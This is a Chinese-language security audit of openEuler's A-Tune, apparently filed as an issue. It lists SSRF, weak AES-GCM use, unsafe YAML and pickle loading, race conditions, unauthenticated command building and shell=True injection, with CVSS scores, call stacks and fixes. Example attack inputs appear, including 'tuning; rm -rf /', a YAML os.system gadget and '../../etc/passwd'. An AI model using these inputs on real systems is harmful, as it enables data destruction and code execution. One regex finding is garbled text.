🟡 [重要] analysis/ui/util.py:56-67 — UI testConnect SSRF 允许探测任意主机 SSH 端口
CWE: CWE-918(服务器端请求伪造) 规则: R02-注入(SSRF)/ R03-加密与认证 描述: verify_server_connectivity(ip_addrs, ip_port, server_user, server_password)(analysis/ui/util.py:56-71)使用 paramiko.SSHClient().connect(ip_addrs, port=ip_port, username=server_user, password=server_password, timeout=3) 尝试连接用户指定的任意 IP/端口/用户名/口令。UiUser.post(cmd='testConnect')(ui_user.py:124-128)直接转发用户输入。
paramiko.AutoAddPolicy()(util.py:59)自动接受未知主机密钥,无法防御 MITM。
已认证的 UI 用户(在 JWT 弱默认密钥问题配合下,攻击者可伪造身份)可:
探测内网任意主机 SSH 端口存活(端口扫描);
用任意用户名/口令组合暴力破解内网 SSH(无频率限制);
用作 SSRF 跳板连接内网服务(port=22 限制降低了通用 SSRF 危害,但仍可扫 22 端口);
AutoAddPolicy 使 MITM 可窃取用户提交的口令。
影响: 内网侦察、SSH 暴力破解、MITM 凭据窃取。 CVSS: 6.5(Medium,AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) 数据来源: UI 用户提交的 ipAddrs、ipPort、serverUser、serverPassword 风险传播路径: UI 用户 → UiUser.post(cmd='testConnect') → verify_server_connectivity(ip, port, user, pwd) → paramiko.SSHClient().connect(...) → 探测任意主机 22 端口
调用栈
UiUser.post(cmd='testConnect') [analysis/ui/database/ui_user.py:124]
ip_addrs = args.get('ipAddrs') [ui_user.py:125]
ip_port = args.get('ipPort') [ui_user.py:126]
server_user = args.get('serverUser') [ui_user.py:127]
server_password = decode_server_password(args.get('serverPassword'))
[ui_user.py:128]
verify_server_connectivity(ip_addrs, ip_port, server_user, server_password)
[ui_user.py:129]
-> paramiko.SSHClient() [analysis/ui/util.py:57]
-> conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) [util.py:59] // MITM
-> conn.connect(ip_addrs, port=ip_port, username=server_user, password=server_password, timeout=3)
[util.py:62] // SSRF + 暴力破解
...
🟡 [重要] tools/encrypt.py:36 + analysis/ui/database/tables.py:66-77 — AES-GCM 缺失认证标签
CWE: CWE-327(弱加密)/ CWE-354(完整性错误) 规则: R03-加密与认证(加密误用) 描述: tools/encrypt.py 提供数据库口令加密工具,encrypt_code(encrypt.py:30-40)使用 Cipher(algorithms.AES(key), modes.GCM(iv), ...) 但未调用 encryptor.authenticate(tag) 或生成 16 字节认证标签,仅 encrypts.update(code) 返回密文。analysis/ui/database/tables.py:66-77 decrypted_code 同样只调用 decrypts.update(code),不调用 decryptor.verify(tag)。
AES-GCM 的安全性依赖认证标签:无标签时 AES-GCM 退化为 AES-CTR 模式,无完整性保护。攻击者修改密文(如配置文件中的 db_user_passwd 字段)后,解密结果会被破坏但不被检测,可能触发 bit-flipping 攻击构造部分有效明文。此外 IV 使用 32 字节(files.read(32)),而 GCM 标准推荐 12 字节 IV,非标准 IV 长度会损失安全边界。
影响: 配置文件被篡改时无法检测;bit-flipping 可能构造部分有效明文;降低 GCM 安全保证。 CVSS: 5.9(Medium,AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N) 数据来源: atuned.cnf 中的 db_user_passwd/db_passwd_key/db_passwd_iv 字段 风险传播路径: 攻击者改写 atuned.cnf 中密文 → decrypted_code 解密 → 无完整性校验 → 错误明文用于数据库连接
调用栈
表初始化:
tables.get_db_url() [analysis/ui/database/tables.py:91]
pwd = decrypted_code(UiConfig.db_user_passwd, UiConfig.db_passwd_key, UiConfig.db_passwd_iv)
[tables.py:97]
-> Cipher(algorithms.AES(key), modes.GCM(iv), ...) [tables.py:74]
-> decrypts.update(code) [tables.py:76] // 无 verify(tag)
url += ... + pwd + ... [tables.py:98]
🟡 [重要] copilot-tune/src/start_workflow.py:86,114 — 不安全 yaml.load(无 Loader 参数)
CWE: CWE-502(不信任的反序列化) 规则: R03-加密与认证(反序列化) 描述: update_config(start_workflow.py:84-110)与 update_app_config(start_workflow.py:111-150)均使用 yaml.load(f) 不指定 Loader 参数。在 PyYAML < 5.1 版本中,yaml.load 默认使用 yaml.Loader,可反序列化任意 Python 对象(!!python/object/apply:os.system [...]),构成 RCE;PyYAML >= 5.1 默认 FullLoader 较安全但仍允许 !!python/object/apply 部分构造,建议显式 yaml.safe_load。
若 config.config_file 或 config/app_config.yaml 可被攻击者控制(通过路径穿越、配置文件覆盖等),即可触发任意 Python 代码执行。
影响: 配置文件被污染 → RCE。 CVSS: 6.8(Medium,AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N)— 需先控制配置文件 数据来源: config.config_file、config/app_config.yaml 文件内容 风险传播路径: 攻击者写入恶意 YAML → update_config(env_config) → yaml.load(f) → 反序列化 !!python/object/apply → RCE
调用栈
update_config(env_config) [copilot-tune/src/start_workflow.py:84]
with open(config.config_file, 'r') as f:
cfg = yaml.load(f) [start_workflow.py:86] // 不安全
...
with open(config.config_file, 'w') as f:
yaml.dump(cfg, f) [start_workflow.py:107]
update_app_config(app_configs) [start_workflow.py:111]
with open(file_path, 'r') as f:
cfg = yaml.load(f) [start_workflow.py:114] // 不安全
🟡 [重要] modules/server/profile/profile.go:424,430,434,511 — collectStatus 全局映射无锁、无界、IDOR
CWE: CWE-770(资源分配无限制)/ CWE-639(IDOR)/ CWE-362(竞态条件) 规则: R04-并发安全 / R05-错误处理(资源管理) 描述: ProfileServer.Analysis(profile.go:427-558)使用包级全局 var collectStatus = make(map[string]string)(profile.go:424)以客户端发送的 id := message.GetId()(profile.go:428)为键记录采集状态:
if message.GetFlag() == "end" {
collectStatus[id] = "end"
return nil
}
if message.GetFlag() == "start" {
collectStatus[id] = "run"
}
...
if collectStatus[id] == "end" {
delete(collectStatus, id)
break
}
三个独立问题:
无并发保护:多个 gRPC 流并发读写 collectStatus,Go map 非线程安全,并发写会触发 fatal error: concurrent map writes 使整个 atuned 进程崩溃(root 守护进程崩溃 → 系统失去调优服务);
无界增长:客户端发送大量随机 Id 的 "start" 消息后不发送 "end",collectStatus 持续增长,无 TTL、无大小上限 → 内存耗尽 DoS;
IDOR:客户端 A 发送 Id="X", Flag="end" 即可终止客户端 B 正在进行的 Id="X" 采集(键空间无隔离),破坏 B 的分析结果。
虽然 Analysis 在 !message.Characterization 时持有 s.TryLock()(profile.go:435-438),但 TryLock 仅防止另一个非 characterization 的 Analysis 同时运行,不保护 collectStatus map 自身;且 Characterization=true 的请求不获取锁,可并发修改 map。
影响: 守护进程崩溃 DoS、内存耗尽 DoS、跨客户端分析结果破坏。 CVSS: 6.5(Medium,AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H) 数据来源: gRPC 客户端发送的 AnalysisMessage.Id 风险传播路径: gRPC 客户端 → Analysis → collectStatus[id] = ... → map 并发写崩溃 / 内存耗尽 / IDOR
调用栈
ProfileServer.Analysis() [modules/server/profile/profile.go:427]
id := message.GetId() [profile.go:428] // 客户端可控
if message.GetFlag() == "end":
collectStatus[id] = "end" [profile.go:430] // 并发写
if message.GetFlag() == "start":
collectStatus[id] = "run" [profile.go:434] // 并发写
...
for {
if collectStatus[id] == "end" { [profile.go:511] // 并发读
delete(collectStatus, id) [profile.go:512] // 并发写
break
}
}
问题代码
// 文件: modules/server/profile/profile.go:424
var collectStatus = make(map[string]string) // <-- 包级全局,无锁
// 文件: modules/server/profile/profile.go:427-434
func (s *ProfileServer) Analysis(message *PB.AnalysisMessage, stream PB.ProfileMgr_AnalysisServer) error {
id := message.GetId()
if message.GetFlag() == "end" {
collectStatus[id] = "end" // <-- 无锁并发写
return nil
}
if message.GetFlag() == "start" {
collectStatus[id] = "run" // <-- 无锁并发写
}
...
🟡 [重要] modules/server/profile/profile.go:1435 + common/sched/sched.go:32 — Schedule 接口允许对任意 PID 设置 CPU 亲和性
CWE: CWE-285(不恰当授权)/ CWE-400(资源消耗不受控) 规则: R03-加密与认证(鉴权)/ R05-错误处理 描述: ProfileServer.Schedule(profile.go:1433-1457)从 gRPC 取 pids := message.GetApp()(profile.go:1435)与 Strategy := message.GetStrategy()(profile.go:1436),调用 scheduler.Schedule(pids, Strategy, true, ch)。ScheduleManager.New(schedule_manager.go:92-118)将 pids 字符串存入 generalScheduler,Run(schedule_manager.go:219-294)以 , 分割、支持 min-max 范围解析为 PID 列表,对每个 PID 调用 setTaskAffinity(tid, node) → sched.SetAffinity(uint64(tid), cpus)(sched.go:32-44)→ syscall.SYS_SCHED_SETAFFINITY。
Schedule 接口无本地地址检查,无 PID 范围校验,无 PID 所有权校验。atuned 以 root 运行,sched_setaffinity 可对系统任意进程生效。攻击者可:
将 PID 1(systemd)等关键系统进程的 CPU 亲和性设为单 CPU → 系统性能严重下降;
将 PID 范围设为 1-99999 大批量绑定 → 大量 sched_setaffinity 系统调用,DoS;
将自己进程绑定到特定 CPU 绕过隔离;
pids 字符串无长度上限,可触发解析 DoS。
影响: 任意进程 CPU 亲和性篡改 → 系统 DoS / 隔离绕过。 CVSS: 6.5(Medium,AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H) 数据来源: gRPC 客户端发送的 ScheduleMessage.App 风险传播路径: gRPC 客户端 → Schedule → pids = message.GetApp() → scheduler.Schedule(pids, ...) → setTaskAffinity(pid, node) → sched.SetAffinity(pid, cpus) → sched_setaffinity syscall
调用栈
ProfileServer.Schedule() [modules/server/profile/profile.go:1433]
pids := message.GetApp() [profile.go:1435] // 客户端可控
Strategy := message.GetStrategy() [profile.go:1436]
scheduler.Schedule(pids, Strategy, true, ch) [profile.go:1447]
-> ScheduleManager.New(strategy, pids, ...) [common/schedule/schedule_manager.go:92]
-> schedManager.Submit(scheduler); schedManager.Start() [schedule_manager.go:287-294]
-> generalScheduler.Run() [schedule_manager.go:219]
for _, pidstr := range strings.Split(g.pids, ",") [schedule_manager.go:230]
... pid, _ := strconv.ParseUint(pidstr, ...) [schedule_manager.go:244]
taskinfo = append(taskinfo, &framework.BindTaskInfo{Pid: pid, ...})
...
-> bindTaskToTopoNode(&taskinfo) [schedule_manager.go:325]
-> setTaskAffinity(ti.Pid, ti.Node) [schedule_manager.go:325]
-> sched.SetAffinity(uint64(tid), cpus) [common/sched/sched.go:43]
-> syscall.RawSyscall(SYS_SCHED_SETAFFINITY, tid, ...) [sched.go:44] // root 任意 PID
问题代码
// 文件: modules/server/profile/profile.go:1433-1457
func (s *ProfileServer) Schedule(message *PB.ScheduleMessage,
stream PB.ProfileMgr_ScheduleServer) error {
pids := message.GetApp() // <-- 客户端可控,无校验
Strategy := message.GetStrategy()
scheduler := schedule.GetScheduler()
...
err := scheduler.Schedule(pids, Strategy, true, ch)
...
}
🟡 [重要] analysis/ui/echo.py:34-49 — EchoTunning.post 未鉴权 atune-adm 命令构造
CWE: CWE-78(命令注入)/ CWE-306(关键功能缺失认证) 规则: R02-注入 / R03-加密与认证 描述: EchoTunning(analysis/ui/echo.py:31-66)注册于 /v2/UI/echo(app_ui.py:24),post() 方法从 request.json 取 command、options(列表,每项含 option/value)、yaml 字段,直接字符串拼接构造 tuning_command = 'atune-adm ' + command + ' ' + option + ' ' + value + ' ' + yaml,再 pipe.write(tuning_command) 写入命名管道。
该方法完全无鉴权检查(无 JWT、无 token),且对 command/option/value/yaml 无任何字符校验。即使 NPipe() 因缺位置参数(pipe_name)会抛 TypeError 使当前实现实际不可用,但代码意图明显——任何能访问 UI 服务的客户端都可直接调用此端点构造并"执行"atune-adm 命令。一旦 NPipe 被修复或管道由其他流程创建,注入将立即生效:command = "tuning; rm -rf /" 即可在管道消费端(若以 root 执行 atune-adm)触发任意命令。
app_ui.py:24 注册时未关联任何鉴权装饰器,与 UiUser/UiCommand 等需 JWT 的端点形成对比。
影响: 未鉴权命令构造 → 潜在 root RCE(待 NPipe 修复后立即生效)。 CVSS: 7.5(High,AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)— 当前 NPipe 缺陷使实际可利用性降低 数据来源: REST 客户端发送的 JSON body 风险传播路径: REST 客户端 → EchoTunning.post() → 字符串拼接 atune-adm ... → pipe.write(...) → 管道消费端执行
调用栈
EchoTunning.post() [analysis/ui/echo.py:34]
tuning_command = 'atune-adm ' [echo.py:36]
tuning_command += request.json['command'] [echo.py:39] // 注入
for option in request.json['options']: [echo.py:41]
tuning_command += ' ' + option['option'] + ' ' + option['value'] [echo.py:42-43] // 注入
tuning_command += ' ' + request.json['yaml'] [echo.py:44] // 注入
pipe = NPipe() [echo.py:45] // 缺参数,TypeError
pipe.write(tuning_command) [echo.py:47]
🟡 [重要] analysis/ui/echo.py:51-66 — EchoTunning.get 任意监听 5002 端口
CWE: CWE-200(信息暴露)/ CWE-306(关键功能缺失认证)/ CWE-489(激活未使用的端口/服务) 规则: R03-加密与认证 / R07-代码质量 描述: EchoTunning.get()(echo.py:51-66)无条件创建 socket(AF_INET, SOCK_STREAM) 并 listenSocket.bind((IP, 5002)) + listenSocket.listen(8),然后 accept() 接受第一个连接,从命名管道读取数据通过该 socket 发送给连接方。
该方法无鉴权,绑定到所有接口(IP = ''),将命名管道中的内部数据发送给第一个连接到 5002 端口的任意客户端。若命名管道中有敏感调优数据(采集到的系统指标、应用识别结果),任何能访问该主机的攻击者均可先连接 5002 端口窃取数据。此外,代码中 args.get("session_id") 中的 args 未定义(get() 没有调用 parser.parse_args()),会抛 NameError,但 bind/listen 在抛异常前已完成,端口仍被占用。
影响: 任意网络客户端可窃取命名管道数据;5002 端口被无鉴权占用。 CVSS: 5.9(Medium,AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) 数据来源: 命名管道中的内部数据 风险传播路径: 攻击者连接主机 5002 端口 → EchoTunning.get() accept() → 命名管道数据被发送给攻击者
调用栈
EchoTunning.get() [analysis/ui/echo.py:51]
IP = '' [echo.py:52]
PORT = 5002 [echo.py:53]
listenSocket = socket(AF_INET, SOCK_STREAM) [echo.py:55]
listenSocket.bind((IP, PORT)) [echo.py:56] // 任意接口
listenSocket.listen(8) [echo.py:57]
dataSocket, addr = listenSocket.accept() [echo.py:58] // 接受任意客户端
n_pipe = get_npipe(args.get("session_id")) [echo.py:59] // args 未定义,NameError
while True:
echo = n_pipe.get()
if echo: break
dataSocket.send(echo) [echo.py:64] // 发送数据
。
🟡 [重要] examples/tuning/redis/benchmark.py:29 + tools/multisystem_performance/src/get_parameters.py:46,58,86,94 + tools/bisection_analysis/src/main.py:94 — Shell=True 命令注入(示例与工具)
CWE: CWE-78(命令注入) 规则: R02-注入(命令注入) 描述: 多处 Python 代码使用 subprocess.Popen(cmd, shell=True) 或 subprocess.run(cmd, shell=True) 或 subprocess.getoutput("bash " + script_path),结合字符串拼接/f-string 插值,存在命令注入风险:
examples/tuning/redis/benchmark.py:29:subprocess.run(cmd, shell=True, ...),cmd 是 f-string f"redis-cli -h {redis_server_ip} -p {redis_server_port} ping"。当前 redis_server_ip/port 是占位字符串("will be replaced after running prepare.sh"),但 prepare.sh 若以攻击者可控数据替换(如 IP 含 ; rm -rf /),即触发注入;该示例作为模板供用户参考,模板本身不安全会传播错误模式。
tools/multisystem_performance/src/get_parameters.py:46,58:subprocess.Popen(bash_command, shell=True, ...),bash_command = "sysctl -a"/"ulimit -a" 虽为常量,但 :86,94 的 command = "scp west1@172.22.60.188:~/..." 含硬编码内部 IP,泄露内部网络信息。
tools/bisection_analysis/src/main.py:94:subprocess.getoutput("bash " + script_path),script_path 若来自配置或用户输入即注入。
影响: 示例/工具中命令注入;内部 IP 信息泄露。 CVSS: 6.8(Medium,AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)— 取决于具体输入可控性 数据来源: 文件中的占位符、硬编码值、外部输入 风险传播路径: 用户运行示例/工具 → subprocess.Popen(shell=True) → shell 元字符注入
调用栈
examples/tuning/redis/benchmark.py
get_output(cmd) [examples/tuning/redis/benchmark.py:21]
output = subprocess.run(cmd, shell=True, ...) [benchmark.py:29] // shell=True
cmd = f"redis-cli -h {redis_server_ip} -p {redis_server_port} ping" [benchmark.py:33-34]
tools/multisystem_performance/src/get_parameters.py
run_sysctl_command_and_save_result(file_name) [tools/multisystem_performance/src/get_parameters.py:43]
bash_command = "sysctl -a" [get_parameters.py:44]
process = subprocess.Popen(bash_command, shell=True, ...) [get_parameters.py:46] // shell=True
...
use_differ_res("openEuler", ...) [get_parameters.py:71]
command = "scp west1@172.22.60.188:~/my_ospp/data/sysctl@CentOSStream.txt ./data/ " [get_parameters.py:79]
subprocess.run(command, shell=True, check=True) [get_parameters.py:86] // 硬编码 IP + shell=True
tools/bisection_analysis/src/main.py
benchmark(script_path) [tools/bisection_analysis/src/main.py:91]
result = subprocess.getoutput("bash " + script_path) [main.py:94] // 字符串拼接
移除硬编码内部 IP,从配置文件读取
🟢 [建议] common/utils/utils.go:323 — IsInputStringValid 正则允许 / 与 . 助力路径穿越
规则: R02-输入校验 描述: IsInputStringValid(input string) bool 使用正则 [1]*,允许斜杠/与点号.,使依赖此函数做唯一校验的调用点存在路径穿越风险(如profile
d
efine.go:69中file=ctx.Args().Get(3)经此校验后用于ioutil.ReadFile,若file含../../etc/passwd则校验通过)。profile
d
efine.go:81−93等处已补充[./]黑名单做二次防御,但IsInputStringValid自身的宽松使其作为"输入校验"工具具有误导性。调用栈:任何调用utils.IsInputStringValid后将输入用于文件路径的代码路径。修复建议:收紧正则为
[
a−zA−Z0−9
−
]+,不允许 / 与 .;调用方对路径参数额外用 filepath.Clean + 前缀校验。
🟢 [建议] common/config/config.go:191 vs analysis/atuned/config.py:80 — Go/Python 端 TLS 默认值不一致
规则: R08-依赖与配置 描述: Go 端 RestTLS 默认 true,Python AtunedConfig.rest_tls 默认 false。同一 atuned.cnf 若未显式设置 rest_tls,两端读取的默认值不同,可能导致 Go 客户端按 TLS 连接、Python 服务端按明文监听(连接失败),或反之(Go 客户端明文、Python 服务端 TLS)。这种不一致使部署人员困惑,易留下明文通道。 修复建议: 统一两端默认值为 true,并在配置文件缺失时拒绝启动而非使用默认值。
🟢 [建议] analysis/ui/util.py + analysis/ui/database/ui_user.py:28 + analysis/ui/offline.py + analysis/engine/detect.py:57 — UI 端点 CORS Allow-Origin: *
规则: R03-加密与认证(CORS) 描述: 多个 UI/Engine REST 响应头设置 Access-Control-Allow-Origin: *,允许任意网站跨域访问。虽然敏感操作需 JWT,但配合 🟡 默认 JWT 密钥问题,攻击者可在用户浏览器中跨域调用任意 UI 接口。 修复建议: 将 * 替换为配置文件中明确允许的来源列表,禁止通配符。
🟢 [建议] analysis/atuned/configurator.py:45,83,124 + analysis/atuned/monitor.py:39,68 — REST 处理器记录完整 args(含 value)
规则: R06-隐私与数据 描述: current_app.logger.info(args) 把整个请求参数(含 value、key、section 等可能敏感的配置值)写入日志。若日志被泄露或可被低权限用户读取,攻击者可获取系统调优参数、配置项内容等敏感信息。 修复建议: 仅记录操作类型与 key 名,不记录 value;或对 value 做脱敏(如 value=***)。
🟢 [建议] common/utils/utils.go:128-145 — plugin.Open 加载 /usr/lib/atuned/modules/ 下任意 .so
规则: R03-加密与认证 / R07-代码质量 描述: LoadPlugins(path) 用 filepath.Glob(path + "/*") 列出 /usr/lib/atuned/modules/ 下所有文件,对每个文件调用 plugin.Open(lib) 加载为 Go 插件。若攻击者能向该目录写文件(结合其他路径穿越漏洞,如 Generate 写 .yaml 不会被加载,但若有其他写入向量),即可在下次 atuned 重启时以 root 执行任意 Go 代码(plugin 在主进程中运行)。 修复建议: 校验文件后缀(仅 .so)、校验文件签名/哈希白名单、目录设为 root:0755 不可写。
🟢 [建议] cmd/atuned/atuned.go:203 — gRPC 服务端未设置 MaxRecvMsgSize
规则: R05-错误处理(资源管理) 描述: grpc.NewServer(opts...) 未设置 grpc.MaxRecvMsgSize,默认 4MB 但仍可能被大消息耗尽内存;atuned 作为 root 守护进程,被 DoS 影响系统调优能力。 修复建议: grpc.MaxRecvMsgSize(1 * 1024 * 1024) 限制为 1MB,按业务实际需求调整。
🟢 [建议] common/service/service.go:126-152 — CheckRpcIsLocalAddr 仅在 TCP 时校验,unix socket 默认绕过
规则: R03-加密与认证(鉴权) 描述: CheckRpcIsLocalAddr 在 TransProtocol != "tcp" 时直接返回 true。默认 unix socket 配置下,所有 Define/Delete/Update/Collection/Training/UpgradeProfile 的"本地地址检查"被绕过——任何能访问 0600 socket 的进程(root 或 atuned 用户)都视为"本地"。0600 socket 提供了文件系统级访问控制,但缺乏应用层细粒度授权。 修复建议: 即使本地连接,也应校验调用方进程身份(如 SO_PEERCRED 获取 PID/UID),仅允许特定 UID 调用敏感操作。
🟢 [建议] modules/server/profile/profile.go:883-932 — UpgradeProfile 使用 client-controlled Name 作目标路径
规则: R02-输入校验 描述: UpgradeProfile 中 newDbPath := profileInfo.GetName()(profile.go:913)来自 gRPC 客户端,随后 utils.CopyFile(currenDbPath, newDbPath)(profile.go:919)将当前 DB 复制到该路径。虽该方法有 if config.TransProtocol == "tcp" return error 与 CheckRpcIsLocalAddr 双重限制,但 GetName() 仍未做字符校验,本地 unix socket 客户端可令 newDbPath = "/etc/cron.d/evil" 写入 DB 内容(sqlite 二进制,不可执行,但可覆盖关键文件造成 DoS)。 修复建议: 校验 newDbPath 必须以 /var/lib/atuned/ 或 /etc/atuned/ 为前缀,且后缀为 .db。
🟢 [建议] common/tuning/rule_tuning.go:107,121 — yql 表达式从数据库读取后直接执行
规则: R02-注入 描述: RuleTuned 从 rule_tuned 表读取 rule.Expression 后调用 yql.Rule(rule.Expression) 与 yql.Match(...)。yql 是第三方 YQL 表达式引擎(github.com/caibirdme/yql),其表达式语法本身较受限,但若数据库 rule_tuned 表被攻击者写入(如通过 SQL 注入或 DB 文件被覆盖),可能注入意外表达式。当前 rule_tuned 表无写入接口暴露给 gRPC,风险较低。 修复建议: 对从数据库读取的 Expression 做语法白名单校验,限制可用操作符与字段名。
🟢 [建议] common/utils/utils.go:206 — exec.Command("virt-what") 调用外部命令
规则: R07-代码质量 描述: IsHost() 调用 exec.Command("virt-what") 检测虚拟机环境。virt-what 不在标准 PATH 中时返回错误,函数返回 false(误判为非虚拟机)。依赖外部命令增加攻击面(若攻击者能在 PATH 中植入恶意 virt-what)。 修复建议: 通过读取 /sys/class/dmi/id/product_name 或 /proc/cpuinfo 中虚拟机特征判断,避免外部命令依赖。
🟢 [建议] modules/client/profile/profile_analysis.go:135,180 — atune-adm analysis 客户端执行用户脚本
规则: R02-注入 描述: profileAnalysis 中 cmd := ctx.String("script"),若非空则 cmdline := "sh " + cmd + ">> log.txt" 并 go ExecScript(cmdline, ch),ExecScript 用 exec.Command("/bin/bash", "-c", cmdline) 执行。-s script.sh 由用户在 CLI 提供,本地用户可执行任意脚本(设计如此),但若 atune-adm 被远程调用(如通过 setuid 或 web 后台),则构成远程命令执行。 修复建议: 校验 cmd 必须是相对当前目录的纯文件名(无 /、..、; 等),或要求绝对路径且文件具有调用方拥有的权限。
⚠️ 疑似[重要] analysis/engine/transfer.py:43-47 — Transfer 路径校验依赖未规范化的 target_path 字符串比较
置信度: 65% 描述: Transfer.post() 中 target_path = self.file_path.format(service=service)(即 /etc/atuned/{service})未做 os.path.realpath 规范化,随后 if not dir_name == target_path 用字符串严格比较。dir_name = os.path.split(os.path.abspath(save_path))[0] 已规范化。若 service 含特殊构造使 target_path 与 dir_name 在字符串层面相等但语义不同(例如利用文件系统大小写不敏感、符号链接、// 双斜杠),可能绕过校验。当前未发现完整绕过路径,但校验逻辑脆弱,应改为规范化后比较。 建议: 改为 if os.path.realpath(dir_name) != os.path.realpath(target_path): return 400,并对 service 做白名单校验。
⚠️ 疑似[重要] common/profile/loader.go:217-249 — profile INI [script] shell 字段未被 Go 代码直接执行,但可能被外部 atune_collector 执行
置信度: 60% 描述: loadConfigData 读取 profile INI 文件时,对 [script] section 的 shell 键只做 strings.Trim(key.Value(), " "),未执行。后续 Profile.active/Profile.Check 把每个 section/key/value 通过 ConfigPutBody.Put() 发送给 atuned REST configurator 接口(由外部 atune_collector 包实现,不在本仓库审计范围内)。若 atune_collector 的 configurator 对 section="script"、key="shell" 做特殊处理(如执行 shell 路径),则通过 Define/Update 写入恶意 profile 的攻击者可在 profile 激活时触发命令执行。Define/Update 虽有本地地址检查,但本地 unix socket 客户端仍可调用。 建议: 审计 atune_collector 包的 configurator 实现以确认是否执行 script.shell;若是,对 profile 内容中的 shell 路径做白名单校验。
⚠️ 疑似[重要] analysis/engine/transfer.py:48-52 — classification 服务 save_path.split(target_path) 行为依赖字符串子串
置信度: 55% 描述: Transfer.post() 在 service == "classification" 分支中:file_name = ANALYSIS_DATA_PATH + save_path.split(target_path)[1][1:]。save_path.split(target_path) 在 save_path 不含 target_path 子串时返回 [save_path],此时 [1] 抛 IndexError;在 save_path 多次出现 target_path 子串时行为不可预测。若攻击者构造 save_path 使其包含 target_path 子串但实际目录不一致,可能绕过校验写入意外路径。 建议: 改为 os.path.relpath(save_path, target_path) 并校验结果不以 .. 开头。
⚠️ 疑似[建议] copilot-tune/src/utils/rag/knob_rag.py:100,114 + copilot-tune/src/utils/snapshot.py:32,43 — pickle.load 加载持久化索引与快照
置信度: 70% 描述: knob_rag.py:100 pickle.load(file) 加载 RAG 索引,snapshot.py:43 pickle.load(f) 加载快照。pickle 反序列化同样存在 RCE 风险(CWE-502)。若索引/快照文件路径可被攻击者控制或文件可被覆盖,即触发 RCE。当前文件路径在 copilot-tune 内部管理,风险取决于外部输入是否影响路径。 建议: 改用 numpy.load(..., allow_pickle=False) 或 JSON 等安全格式;若必须用 pickle,用 pickle.Unpickler 重写 find_class 限制可加载的类。
⚠️ 疑似[建议] analysis/atuned/collector.py:42-46 — Collector REST 路径校验使用 startswith 可能被前缀子目录绕过
置信度: 50% 描述: Collector.post() 中 path = os.path.abspath(path); if not path.startswith("/var/atune_data/collection/"): return 400。startswith 校验在 os.path.abspath 已规范化 .. 后较为安全,但若 /var/atune_data/collection/ 下存在攻击者可控子目录(如 /var/atune_data/collection/evil/),写入该子目录仍可通过校验。本身设计意图允许在 /var/atune_data/collection/ 下任意写,故风险有限,但需确认该目录不被其他服务读取为可信输入。 建议: 若需进一步限制,可校验 os.path.commonpath([path, base]) == base 且 path 在 base 之下唯一层级。
【缺陷所属的os版本】
24.03-LTS-next
【内核版本】
kernel6.6
【缺陷所属软件及版本号】
A-Tune
【环境信息】
【问题复现步骤】
【实际结果】
【期望结果】
【其他相关附件信息】
【缺陷详情及分析指导参考链接】
二、缺陷分析结构反馈
影响性分析说明:
缺陷严重等级:(Critical/High/Moderate/Low)
缺陷根因说明:
受影响版本排查(受影响/不受影响):
openEuler-20.03-LTS-SP4
openEuler-22.03-LTS-SP4
openEuler-24.03-LTS-SP1
openEuler-24.03-LTS-SP3
openEuler-24.03-LTS-SP4
修复是否涉及abi变化(是/否):
openEuler-20.03-LTS-SP4
openEuler-22.03-LTS-SP4
openEuler-24.03-LTS-SP1
openEuler-24.03-LTS-SP3
openEuler-24.03-LTS-SP4